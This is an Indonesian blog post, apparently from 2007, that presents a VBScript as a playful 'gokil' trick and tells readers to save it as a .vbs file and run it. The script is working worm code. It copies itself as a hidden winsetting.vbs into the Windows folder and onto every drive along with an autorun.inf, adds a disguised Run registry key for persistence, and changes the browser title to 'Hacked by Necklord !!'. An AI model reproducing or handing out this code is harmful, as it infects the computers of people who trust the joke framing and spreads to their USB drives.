g0kill

21 11 2007

Mau jadi gokill comp?? Maksudnya mau coba yang g0k1ll g0k1ll di komputer anda?? Mungkin anda bisa mencoba yang satu ini:

SENI TEHNIK GOKIL

Langsung saja, pertama buka noteopad ketik/copy paste code ini:

on error resume next

dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd

atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe winsetting.vbs”

set fs = createobject(“Scripting.FileSystemObject”)

set mf = fs.getfile(Wscript.ScriptFullname)

dim text,size

size = mf.size

check = mf.drive.drivetype

set text=mf.openastextstream(1,-2)

do while not text.atendofstream

mysource=mysource&text.readline

mysource=mysource & vbcrlf

loop

do

Set winpath = fs.getspecialfolder(0)

set tf = fs.getfile(winpath & “\winsetting.vbs”)

tf.attributes = 32

set tf=fs.createtextfile(winpath & “\winsetting.vbs”,2,true)

tf.write mysource

tf.close

set tf = fs.getfile(winpath & “\winsetting.vbs”)

tf.attributes = 39

for each flashdrive in fs.drives

If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then

set tf=fs.getfile(flashdrive.path &”\winsetting.vbs”)

tf.attributes =32

set tf=fs.createtextfile(flashdrive.path &”\winsetting.vbs”,2,true)

tf.write mysource

tf.close

set tf=fs.getfile(flashdrive.path &”\winsetting.vbs”)

tf.attributes =39

set tf =fs.getfile(flashdrive.path &”\autorun.inf”)

tf.attributes = 32

set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)

tf.write atr

tf.close

set tf =fs.getfile(flashdrive.path &”\autorun.inf”)

tf.attributes=39

end if

next

set rg = createobject(“WScript.Shell”)

rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,winpath&”\winsetting.vbs”

rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”Hacked by Necklord !!”

rg.regwrite “HKCR\vbsfile\DefaultIcon”,”shell32.dll,2″

if check <> 1 then

Wscript.sleep 200000

end if

loop while check<>1

set sd = createobject(“Wscript.shell”)

sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname

2. Klik file, pilih save. Kemudian berinama bebas dengan ahkiran .vbs. Misal : g0kill.vbs.

3. Buka file yang anda buat tadi …

4. Selamat menjadi gokil …


Tindakan

Information

Tinggalkan komentar